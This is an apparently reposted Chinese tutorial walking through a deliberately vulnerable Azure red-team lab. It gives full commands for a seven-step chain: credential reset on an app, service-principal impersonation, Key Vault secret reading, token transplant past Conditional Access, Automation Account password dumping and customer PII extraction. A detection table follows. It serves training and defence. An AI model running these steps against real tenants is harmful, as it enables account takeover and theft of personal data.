ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Azure红队攻防实操第1战:7步从普通用户打到客户PII数据库的Azure_Workshop完整攻略

Azure红队攻防实操第1战:7步从普通用户打到客户PII数据库的Azure_Workshop完整攻略 Azure红队攻防实操第1战7步从普通用户打到客户PII数据库的Azure_Workshop完整攻略【免费下载链接】Azure_Workshop项目地址: https://gitcode.com/gh_mirrors/az/Azure_WorkshopAzure_Workshop 是一个天生带洞的 Azure 红队攻防实验场两条真实攻击路径、全套 Terraform 脚本与参考答案专为红队渗透测试与蓝队检测演练设计。本文带你走通第 1 条 Kill-Chain——如何从一名普通用户的权限出发经过 7 个攻击步骤最终打进存放客户 PII个人可识别信息数据的 SQL 数据库。为什么选择这个实验室Azure红队攻防实验场部署结构市面上的云攻防靶机大多人工感很浓而 Azure_Workshop 里的每一条攻击向量都模拟了真实威胁行为者的 TTP战术、技术与过程漏洞本身来自生产环境里常见的错误配置Kill-Chain #1目标是拿到客户 PII 数据本文主角Kill-Chain #2目标是拿到一台 Windows 虚拟机上的超级机密文件攻击路径与生产环境高度相似蓝队可以用 Microsoft Defender for Cloud 同步观察检测告警作者为 Roxana Kovaci项目结构非常清晰每条 Kill-Chain 一个文件夹内含部署脚本和通关答案新手也能按图索骥。一键部署环境准备与部署步骤部署前置要求动手之前先把这 5 个条件准备齐一个 Azure 租户可用免费开发者账户安装 Azure CLITerraform 版本 ≥ 1.2.2该用户在 AAD 租户中具有Global Admin角色把自己的公网出口 IP 填到部署脚本 kc1/kc1.tf 的第 248–249 行防火墙白名单防止攻击路径暴露给公网部署命令清单登录 Azure 后按顺序执行即可完成两条攻击链的环境搭建az login git clone https://gitcode.com/gh_mirrors/az/Azure_Workshop cd Azure_Workshop/kc1 terraform init terraform validate terraform plan -out kc1.tfplan terraform apply kc1.tfplankc2 目录同理terraform init→validate→plan→apply。部署完成后进入 kc1 目录运行terraform output即可拿到初始攻击账号 user1 的凭据——你的第一张多米诺骨牌就到手了。攻击链详解7步打穿PII数据库下面按 Kill-Chain #1 的完整路径拆解每一步都对应一个典型的云权限滥用点。第1步普通用户 chris.green 拥有应用管理员角色用初始凭据登录后查看当前用户角色。chris.green 持有Application Administrator角色——意味着他有权给企业应用重置凭据。az login -u 用户名 -p 密码 --allow-no-subscriptions az ad app list --query [].[displayName,appId] -o table发现目标应用 InnovationApp记录它的 AppId。第2步重置应用凭据冒名顶替服务主体这是整条链子的关键一跳应用管理员权限 重置凭据 服务主体Service Principal身份。az ad app credential reset --id AppID az login --service-principal -u AppID -p 新密码 -t 租户ID --allow-no-subscriptions现在你已经是 InnovationApp 这个机器身份了。第3步服务主体读取 Key Vault 机密服务主体身上挂着Key Vault Reader和Key Vault Secrets User两个 RBAC 角色机密库对它敞开。az keyvault list az keyvault secret list --vault-name 密钥库名称 az keyvault secret show --vault-name 密钥库名称 --name 机密名称读出的机密 ForPW 暴露了 peter.williams 的凭据——第二张多米诺骨牌倒下。第4步绕过条件访问移植访问令牌peter.williams 是某自动化账户的Contributor但受**条件访问Conditional Access**保护他只能从 Linux 机器登录。直接在新机器上用他登录会失败。绕法在他允许的环境下获取访问令牌再移植到任意机器az login -u peter.williams -p 密码 az account get-access-token然后在任意一台 Windows 机器上注入令牌Connect-AzAccount -AccountId 用户名 -AccessToken $token 条件访问的应用类型校验可被令牌直连方式绕过这是 Azure 渗透里的高频考点也是蓝队重点监控场景。第5步从自动化账户提取 sqladmin 凭据以 peter.williams 身份登录成功后加载 microburst 提供的 Get-AzPasswords 脚本把自动化账户里存的密码拖出来Import-Module .\Get-AzPasswords.ps1 Get-AzPasswords -AutomationAccounts Y -Subscription 订阅ID -Verbose拿到的 sqladmin 凭据正是下一站 Azure SQL 数据库的钥匙。第6步验证 sqladmin 的权限边界登录后先枚举角色确认权限范围为最后一步做好侦察az login -u sqladmin -p 密码 az role assignment list --all --assignee 用户名再定位目标 SQL 服务器与数据库az sql server list az sql db list -s SQL服务器 -g 资源组 --output table第7步连接数据库PII 数据到手最后一步用 sqlcmd 直连 Azure SQL读取客户表sqlcmd -S SQL服务器.database.windows.net -U sqladmin -P 密码 -d 数据库名 -Q SELECT TOP 10 * FROM SalesLT.Customer; 攻击链闭环普通用户 → 应用管理员 → 服务主体 → Key Vault → 自动化账户 → SQL 管理员 →客户 PII 数据库。7 步走完目标达成。蓝队视角这些操作都会留下什么痕迹红队的每一步在蓝队眼里都有对应的检测点这也是本实验场攻防一体的价值所在攻击动作蓝队关注信号重置应用凭据Application Administrator 执行 credential reset 操作服务主体登录非交互式 SP 登录、异常 IP 登录读取 Key Vault 机密密钥库 Secrets 读取事件、越权枚举令牌移植登录同一账户跨平台/跨区域的令牌使用自动化账户密码提取Automation Account 凭据访问SQL 数据拖取大批量 SELECT、异常客户端连接如果你开通了 Microsoft E5 试用含 Defender for Cloud 与 AAD Premium P2可以边打边看告警如何触发把被打变成学会防守。实战资源与学习路径攻击与检测的完整参考链接已整理在根目录的 resources.txt 文件中涵盖 Azure 渗透方法论、检测狩猎查询Hunting Queries等两条攻击链的通关答案分别是 kc1/kc1_solution.txt 与 kc2/kc2_solution.txt卡关时随时对照Terraform 部署脚本位于 kc1/kc1.tf 与 kc2/kc2.tf可逐行阅读了解漏洞是如何被设计出来的完整部署与清理流程见根目录的 README.md收尾负责任地清理环境实验结束后务必销毁资源避免账单与安全隐患cd kc1 terraform destroy cd ../kc2 terraform destroy⚠️ 免责声明本实验场仅限部署在你自己的 Azure 租户内演练。对未获授权的环境执行上述任何操作均属违法行为。红队的价值在于让蓝队先看见漏洞。下一步可以挑战 Kill-Chain #2从一名仅有 Reader 角色的用户一路横向移动到 Windows 域内——把本文的7 步思维迁移过去你会发现自己已经上路了。【免费下载链接】Azure_Workshop项目地址: https://gitcode.com/gh_mirrors/az/Azure_Workshop创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表